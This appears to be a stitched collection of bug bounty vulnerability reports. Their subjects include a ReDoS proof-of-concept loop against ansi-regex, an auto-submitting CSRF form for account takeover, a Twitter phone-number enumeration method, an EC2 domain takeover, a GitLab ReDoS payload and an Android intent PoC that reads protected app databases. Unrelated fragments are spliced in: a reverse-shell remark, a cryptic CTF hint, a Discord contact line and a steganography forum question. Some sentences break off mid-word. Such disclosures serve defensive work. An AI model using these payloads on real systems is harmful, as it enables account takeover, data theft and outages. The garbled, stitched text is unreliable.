Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

## Steps To Reproduce:

  1. First I download the code (https://github.com/nextcloud/password_policy) I usual cat files and See the technologies that the site use and its versions I Found that You use `ansi-regex`
  2. then I cat every file and find in package-lock.json has the version I have the versions of the ansi-regex with a lot of versions there some of some vulnerable and other update to the latest version and the vulnerable paths is
```json
},
				"strip-ansi": {
					"version": "3.0.1",
					"resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
					"integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=",
					"requires": {
						"ansi-regex": "^2.0.0"
					}
				}

					"has-ansi": {
			"version": "2.0.0",
			"resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz",
			"integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=",
			"requires": {
				"ansi-regex": "^2.0.0"
			},

			"dependencies": {
				"ansi-regex": {
					"version": "2.1.1",
					"resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
					"integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8="
				}

				"node_modules/babel-code-frame/node_modules/ansi-regex": {
			"version": "2.1.1",
			"resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
			"integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=",
			"engines": {
				"node": ">=0.10.0"
			}
		},
		"node_modules/babel-code-frame/node_modules/strip-ansi": {
			"version": "3.0.1",
			"resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
			"integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=",
			"dependencies": {
				"ansi-regex": "^2.0.0"
			}
			"node_modules/has-ansi/node_modules/ansi-regex": {
			"version": "2.1.1",
			"resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
			"integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=",
			"engines": {
				"node": ">=0.10.0"
			}
		},
```
3. then I found that every version of ansi-regex before 4.1.1 as you see in the code you use 2.11,2.0.0,3.0.1 and these versions are vulnerable to Regular Expression Denial of Service (ReDoS) as every policy that Denial of service attack is out of scope so I didn't try anything to not make any damage to your work but I want to report it to you to investigate on that and update to the fixed version to denied this attack from happening.
4. this is a poc that attacker can use to

#POC
```
import ansiRegex from 'ansi-regex';

for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = "\u001B["+";".repeat(i*10000); ansiRegex().test(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
```
# Fix:
update to these (4.1.1, 5.0.1, and 6.0.1)  like you do in most of your code.

## Supporting Materials:

this useful links that can you check on this vuln
1. https://www.cve.org/CVERecord?id=CVE-2021-3807
2. https://cwe.mitre.org/data/definitions/400.html
3. https://security.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908

## Impact

the attacker aimed at making a system inaccessible t


[Cross-Site Request Forgery (CSRF)] Account Takeover and Information update due to cross site request forgery via POST █████████/registration/my-account.cfm

## Summary:
Hello Team,

While researching on https://████/ , I found a cross site request forgery attack which leads to account's information update and that further leads to account takeover via password reset functionality.

## Steps To Reproduce:
Check This video for understanding the attack scenario.
████████

### Scenarios & Steps:

Suppose there is a user which is logged in to their account.
Now attacker sent him a malicious link which will lead to account information update.

Steps for above scenario are:

1. Victim must be logged in to ███/registration/index.cfm .
2. Attacker sent him a malicious link.
    For this attacker need to step a server which contain below code:

    ```
    <html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="█████/registration/my-account.cfm" method="POST">
      <input type="hidden" name="cmdSubmit" value="Update My Account" />
      <input type="hidden" name="txtFirstname" value="fname" />
      <input type="hidden" name="txtMI" value="hi" />
      <input type="hidden" name="txtLastname" value="lnames" />
      <input type="hidden" name="txtAddress" value="hello" />
      <input type="hidden" name="optAddress" value="temporary" />
      <input type="hidden" name="txtPhone" value="89" />

        <!-- here we enter  a temporary email address via online tools like tempmail  -->
      <input type="hidden" name="txtEmail1" value="voyan61996@jrvps.com" />
      <input type="hidden" name="txtEmail2" value="voyan61996@jrvps.com" />
      <input type="hidden" name="txtPassword1" value="" />
      <input type="hidden" name="txtPassword2" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
    ```

Step 3:
Now victim will click on the link sent by the attacker.
After clicking the link; information is updated on the victims account and the email is also updated which will further lead to account takeover.

Now Attacker side:

Step 1:
Visit ████/

Step 2:
In Forgot your password Form :
Enter the victim username. And click on generate a new password.

Step 3:
Check the email which is entered in the csrf exploit. Here you find the password of that user.

Step 4:
Visit ███/
Enter the username and password. And now you are successfully takeover the victim account.

## Problems
1. There is no Anti-CSRF Token.
2. Sending password to an unverified account which leads to account takeover.

## Supporting Material/References:

  * █████

## Impact

Attacker is able to takeover any account and change the information of any account via csrf.


[Information Disclosure] Identify the mobile number of a twitter user

**Summary:**
By exploiting this security vulnerability we can detect the mobile number of a twitter user.

**Description:**
This security vulnerability is of type "Information disclosure" it allows to exploit Flawed behavior of the twitter system to obtain distinct responses when different error states occur.
This security vulnerability allows to identify the mobile number of a twitter user from its USER_NAME.

## Steps To Reproduce:

We explain how to get the mobile number which is (██████████) from the following twitter user "███"==> USER_NAME = ████

1.access the following url: "████" and enter user name "██████" and click search. (see screenshot "1.PNG")
2. At this step twitter  displays the last 2 digits of mobile number through this message "text a code to the phone number ending in 15", the last two digits are 15, click on next.(see screenshot "2.PNG")
3. repeat step number 2 several times, i.e. repeat asking to receive the code several times until you get the following message: "You've exceeded the number of attempts. Please try again later."(see screenshot "3.PNG")
4.Now twitter  block sends it sms code to the number associated with the victim's twitter  account which ends with two digits 15

====> twitter  block sends it again sms for the correct victim mobile number, ie "████████" but it does not block it sends sms to any other different mobile number at ███ (the probability that twitter block sends an sms to mobile number different to █████████ which ends in 15 and has the following format &&&&&&15 at the time of launching the attack is 0.000001% ) so we can use the "Forgot Password" feature and ask to receive an sms on all the following format numbers &&&&&&15 and the attempt which returns the following message: "You've exceeded the number of attempts. Please try again later."is an attempt associated with the victim mobile number.

==> an attempt to receive an SMS code at the mobile number of the following format: &&&&&&15 may return 3 different messages:
1st message : Number not associated with a twitter  account
2nd message : "You'll recive a code to verify here so you can reset your accont password." ==> this is not the victim mobile number .(see screenshot "7.PNG" and "8.PNG" )
3rd message: "You've exceeded the number of attempts. Please try again later". ==> this is the victim mobile number (see screenshot "4.PNG" and "5.PNG" and "6.PNG"  )

5. to identify the mobile number we will access this url "████████" and try to request sms code on all the mobile numbers that end by 15 which follows this format &&&&&&15 that is to say make a brute force on all the number which ends in 15, therefore the request which tries to recive sms code associating with the correct victim number account will display the following message: "You've exceeded the number of attempts. Please try again later" on the other side any other request that is not associated with victim's correct mobile number will display the following message: "You'll recive a code to verify here so you can reset your accont password." or a number not associated with a twitter account.

===>we can deduce the number of victim's digit according to the user's country or we can easily deduce it, the victim's country is "██████" so the format of its number is as follows: &&&&&&15, To accelerate the brute force and decipher the correct digits more quickly associated with this number &&&&&&15 we will use the following information:
the mobile number for the ████ region begins with the following operator phone code: (26-27) (56-57)
, so we are now going to brute force on this number range:
26&&&&15 ... 27 &&&&15
56&&&&15 ... 57&&&&15

we have 10 ^ 4 = 10000 mobile number to test each time to identify the correct victim mobile number, we eliminate the numbers that are not associated with a twitter account then determine which number blocked by twitter from receiving sms that returns the message next: "You've exceeded the number of attempts. Please try again later" , this is the victim mobile


[Privacy Violation] Brute force protections don't work

## Summary:
Most of the brute force protections don't actually throttle() the response and so they are not logging negative attempts

Search for functions with the `@BruteForceProtection` annotation and check that they call `throttle()` on the response at least conditionally.

## Impact

Brute force protection is not throttling any requests:
https://github.com/nextcloud/server/blob/b70c6a128fe5d0053b7971881696eafce4cb7c26/lib/private/AppFramework/Middleware/Security/BruteForceMiddleware.php#L78-L82


[Cross-site Scripting (XSS) - Stored] EC2 Takeover at turn.shopify.com

**Summary**
Hi team,
It seems that the domain **turn.shopify.com** pointed to an EC2 instance that was terminated and the DNS record wasn't updated. We managed to register a new EC2 instance with the IP that **turn.shopify.com** points to:

**Command**
```
dig turn.shopify.com
; <<>> DiG 9.11.3-1ubuntu1.13-Ubuntu <<>> turn.shopify.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5523
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;turn.shopify.com.		IN	A

;; ANSWER SECTION:
turn.shopify.com.	3600	IN	A	54.90.1.144

;; Query time: 17 msec
;; SERVER: 127.0.0.53#53(127.0.0.53)
;; WHEN: Mon Aug 09 10:41:14 CEST 2021
;; MSG SIZE  rcvd: 61
```

**URL**
``http://turn.shopify.com/0xd0m7``

**POC**
{F1404895}

Saved at:
``https://archive.ph/4ro3x``

## Impact

An EC2 takeover has the same impact as a subdomain takeover, instead of having a dangling CNAME there is a dangling A record. With it we are able to:
Serve phishing pages which are bound to be trusted, since there is no way of finding out that we are the owners. Besides, we could also get an SSL certificate to serve the content via HTTPS. For demonstration purposes we have only opened port 80.
Stored XSS and DoS, as shown in the PoC.
Privilege escalation: we will be checking upon submission of the report, it could be possible to use an XSS to exfiltrate personal information or take over accounts. A comment will be added if this is the case.
SSH sniffing: it'd be possible to open ports and install different services on the machine, amongst them an ssh or ftp server to capture credentials.
Malware distribution.
And many more, basically everything since we now have control over one of your domains.


[Business Logic Errors] Response Manipulation lead to bypass verification code while making appointment at `█████████`

## Steps To Reproduce:

1. Go to this URL https://www.███/visit-information/schedule-appointment/
2. Make an appointment
3. Choose send verification code to email
4. Enter random code
5. Intercept the request using burp
4. Click do intercept response and forward
5. Change false to true

## Impact

bypass verification code


i also reversed shell but i couldn’t get rooted, can you help me?


[Uncontrolled Resource Consumption] DOS via move_issue

### Summary
Moving an issue with a specially-crafted description results in high CPU usage for 60 seconds (request timeout).
Multiple requests can be issued in parallel to create a larger impact.

### Steps to reproduce
1. Given an authorized user (on GitLab.com - anyone can self-register. On EE - depends on instance configuration).
2. Create an issue with the following description (provided a one-line python script to avoid bloating):
3. Once created, move the issue to a different project.

The script:
```python -c "print('![l' * 100000 + '\n')"```
Note: works with a lower number of repetitions too.

### Impact
After 60 seconds (timeout) - the request fails.
Meanwhile, on the server end, (a single) CPU is burnt out (verified against a local EE instance).
Issuing multiple requests in parallel (on multiple GitLab issues) results in multiple CPUs burn out.
Using the DockerHub image, the entire server is completely unavailable by repeatedly sending a small number of requests repeatedly.

### Examples
The bug is instance-independent, works on latest versions. Since GitLab.com is open-core - it would work on GitLab too.

### What is the current *bug* behavior?
The HTTP request fails for timeout while the server is burning CPU.

On the code side:
lib/gitlab/gfm/uploads_rewriter.rb / module Gitlab/Gfm / class UploadsRewriter / function files:
```@text.scan(@pattern)```
Where FileUploader::MARKDOWN_PATTERN is assigned to the pattern data member.

MARKDOWN_PATTERN is:
```\!?\[.*?\]\(/uploads/(?<secret>[0-9a-f]{32})/(?<file>.*?)\)```
The pattern is of a polynomial complexity, thus, the scan results in high CPU utilization.

### What is the expected *correct* behavior?
Instead of using Ruby’s default Regex engine, use the RE2 engine (or the wrapped version at lib/gitlab/untrusted_regexp.rb), with the following pattern:
```\!?\[.*\]\(/uploads/([0-9a-f]{32})/(.*)\)```
As RE2 does not go beyond O(n), this scan becomes linear.
Note: since RE2 does not support named captures, all references should be fixed - assigning the results to secret/identifier local variables.### Relevant logs and/or screenshots

### Output of checks

#### Results of GitLab environment info

## Impact

A complete denial of service of a GitLab EE instance.
As this vulnerability impacts GitLab.com, we assume that this vulnerability opens the door for a DDOS attack.


[UI Redressing (Clickjacking)] Clickjacking to change email address

##Summary

Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.

It allows remote attackers to do some clickjacking which can be used for adding arbitrary tasks . Why? Almost all of your page has missing X-FRAME-OPTIONS header.

Websites are at risk of a clickjacking attack when they allow content to be embedded within a frame.

##Proof of concept code :-

Copy the above code and paste it in notepad and save it with .html extention
and open it in browser

<title>Clickjack test page</title>

Website is vulnerable to clickjacking!

Copy and paste above given code and  save it with hack.html and  open it in browser

------------------------------------------------------------------->

Recommendation :-

Add X-FRAME-OPTIONS header to mitigate the issue

## Impact

An attacker may use this risk to invisibly load the target website into their own site and trick users into clicking on links which they never intended to. An "X-Frame-Options" header should be sent by the server to either deny framing of content, only allow it from the same origin or allow it from a trusted URIs.


[Violation of Secure Design Principles] Theft of protected files on Android

There is an issue that allows to retrieve any files from protected directory of application - ```/data/data/com.owncloud.android/*```.
The issue is caused by exported activity ```com.owncloud.android.ui.activity.ReceiveExternalFilesActivity``` with intent filter ```android.intent.action.SEND_MULTIPLE``` that accepts URI of files for upload. Any 3rd-party application could start this activity and upload on server any files such as database file from protected directory in context of owncloud application.

Tested on latest stable version of app - 2.19.
Version of android - 11.

Java PoC:
```Java
StrictMode.VmPolicy.Builder builder = new StrictMode.VmPolicy.Builder();
StrictMode.setVmPolicy(builder.build());
Intent intent = new Intent("android.intent.action.SEND_MULTIPLE");
intent.setClassName("com.owncloud.android", "com.owncloud.android.ui.activity.ReceiveExternalFilesActivity");
intent.setType("*/*");
intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
ArrayList mStreamsToUpload = new ArrayList<>();
mStreamsToUpload.add(Uri.parse("file:///data/data/com.owncloud.android/databases/filelist"));
intent.putExtra("android.intent.extra.STREAM", mStreamsToUpload);
startActivity(intent);
```

**Mitigation:**
There is valid protection for preventing reading files from directory ```/data/data/com.owncloud.android/*``` in similar intent-filter ```android.intent.action.SEND```. Copy this protection for ```android.intent.action.SEND_MULTIPLE```.

## Impact

Potential attacker could steal files from protected directory of application for example files of databases, cache and history of files.


[Violation of Secure Design Principles] Redirecting users to malicious torrent-files/websites using WebTorrent

## Summary:

An attacker can redirect a user to a malicious torrent file/website using a reverse tab-nabbbing flaw in WebTorrent.

##Description

WebTorrent allows user to open files after download of while they are being downloaded directly from the browser

{F965466}

An attacker can use this to redirect users to malicious websites and torrent files as the anchor tag allowing to open up the file is not prone to reverse tabnabbing attacks.

{F965467}

##Tested on

* Brave Version 1.12.114 Chromium: 84.0.4147.135 (Windows)

## Steps To Reproduce:

 * Visit the POC link https://php-demo-app-shibli.cfapps.io/brave/poc-bave.php?x=.torrent
* Click on "Start Torrent"
* Once the file starts downloading, try opening up the file
* You will see the previous tab will navigate to a different torrent file or website.

Please refer below video poc for better understanding.

{F965473}

## Impact

* An attacker can trick a victim to download a malicious file instead of the original file.
* An attacker can redirect a user to a malicious webpage for other harmful attacks.


[Cross-site Scripting (XSS) - Stored] stored cross site scripting in https://█████████

It was observed that the application is vulnerable to cross-site scripting (XSS). XSS is a type of attack that involves running a malicious scripts on a victim’s browser.
poc attached
another parameter at #1636345
q_21677

## Impact

Cookie Stealing - A malicious user can steal cookies and use them to gain access to the application.
Arbitrary requests - An attacker can use XSS to send requests that appear to be from the victim to the web server.
Malware download - XSS can prompt the user to download malware. Since the prompt looks like a legitimate request from the
site, the user may be more likely to trust the request and actually install the malware.
Defacement - attacker can deface the website usig javascript code.

## System Host(s)
███████

## Affected Product(s) and Version(s)

## CVE Numbers

## Steps to Reproduce
video attached

## Suggested Mitigation/Remediation Actions


I didn’t find a correct solution, but read the flag using the ‘-b’ switch for a server script that uses ‘mv’. Hack the planet haha Ok.Got it. little hint, not directly solution: ‘((ob))’, yes, I know, but it’s not you think it is. Change something and fill in between the brackets and be sure to use money for it.


[Insecure Direct Object Reference (IDOR)] IDOR able to buy a plan with lesser fee

## Summary
IDOR allows you to pay with the same amount but different currency. For example, paying 35000$ instead of 35000€

## Steps To Reproduce
1. Go to `https://account.mailpoet.com/` and select a plan
2. For example I have selected this plan; `https://account.mailpoet.com/orders/new?p=214`
3. Now, as you can see payment currency is euro (33600€)

{F1882065}

4. Add `cur` parameter as `usd` like `{F1882070}https://account.mailpoet.com/orders/new?p=214&cur=usd`
5. And now, we can buy it as 33600$ instead of 33600€

{F1882070}

##Suggested solutions
Add an Dollar/Euro converter to your payment system

Cheers,
@h1ugroon

## Impact

Any user can pay a fee with a different value but the same root number instead of euros. For example, for a €33600 transaction, the fee difference is about $107, but the reason for this is the recent increase in the dollar. The user's profit rate varies according to the value of the money. About 1 month ago, this profit rate is around 630 dollars. Although this is not a critical problem, it is a vulnerability that reduces the profit margin


Text me If you want! I will support you! my discord satellite#1213


Hiding text, symbols, numbers in hand written drawing with help from program?

I did a lot of research before posting on here so I apologize upfront if its a little newbish.  That said I have a jpeg image that is hand drawn that is a map for a contest.  After looking at the map I noticed some simple stuff hidden within that could just be picked out with my eyes.  I wondered though if there was more and after using image processing features on dcode I have realized there is multiple layers of info that comes out depending on what I use on there like CMYK Channels, CPBit map image, EXIF Data, and on and on.  I also was able to get some stuff to show using some features inside adobe photoshop.My question is it seems this is way above just drawling something and hiding a few things in the drawling with basic steganography skills.  Its like the drawling looks hand drawn but it would almost have to be programmed or created with some type of software.  Because I have found areas that have multiple things show in same area of the jpeg depending on what filter or whatever I have ran.  So its layered I guess is the best way to put it.For anyone that can help I would be willing to share what I win for the contest if we can figure it out.  Thanks for any guidance on the subject.  I didn't want to post pics until I knew it would be ok to do so.  Legacy